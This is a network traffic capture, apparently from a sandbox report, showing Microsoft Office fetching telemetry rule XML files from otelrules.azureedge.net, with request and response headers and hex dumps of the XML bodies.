2024-10-18 22:14:07 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:06 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: e1d8db9a-401e-0048-7bd8-1e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221406Z-16b659b4499vb6rgub5604hgz00000000aqg000000003prd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.10	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:06 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:07 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:06 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2a29193b-001e-0065-3fd8-1e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221406Z-16b659b4499xhcppz4ucy307n400000009sg000000004hs4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:07 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.10	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:07 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:07 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:07 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b1f1651c-201e-0085-16d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221407Z-16b659b4499mcktpfn1m4deuag00000009vg00000000e1s8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:07 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.10	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:07 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:07 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:07 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 4f3c0613-901e-0083-7ed8-1ebb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221407Z-16b659b4499p9z6wm7hd85vp6w00000001s000000000efzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:07 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.10	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:07 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:07 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: f36390f8-001e-00a2-0e96-1fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221407Z-15b8d89586f8nxpt6pvtkfw3pg00000005m000000000fg35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.10	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:07 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:07 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:07 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 90cac500-701e-001e-74d8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221407Z-16b659b4499tswxxb16erk3cdn0000000c8g00000000z5tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:07 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.10	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:07 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:07 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:07 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: a235b62e-001e-0082-0cd8-1e5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221407Z-16b659b4499w2mwkzdhtwtt78c0000000chg0000000063ey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:07 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.10	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:08 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:08 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:08 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a14f1cd6-f01e-003f-2ad8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221408Z-16b659b4499bnwsctrq8dt6ghw0000000abg00000000pd0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:08 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.10	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:08 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:08 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:08 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: a02fc908-501e-00a0-62d8-1e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221408Z-r197bdfb6b49k6rshrw4zhxpu00000000c90000000001rym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:08 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.10	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:08 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:08 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:08 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: bad4a38d-701e-0097-38d8-1eb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221408Z-r197bdfb6b4kzncfk35mqx2yu40000000c50000000008zts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:08 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.10	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:08 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:08 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:08 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 3f0734e1-f01e-0071-0c92-1f431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221408Z-15b8d89586fnsf5zv100scmx1000000005f000000000s3ss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:08 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.10	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:08 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:08 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:08 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 18096f5a-101e-000b-7a33-215e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221408Z-15b8d89586fmhkw4gksnr1w3ds00000005tg0000000038tw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
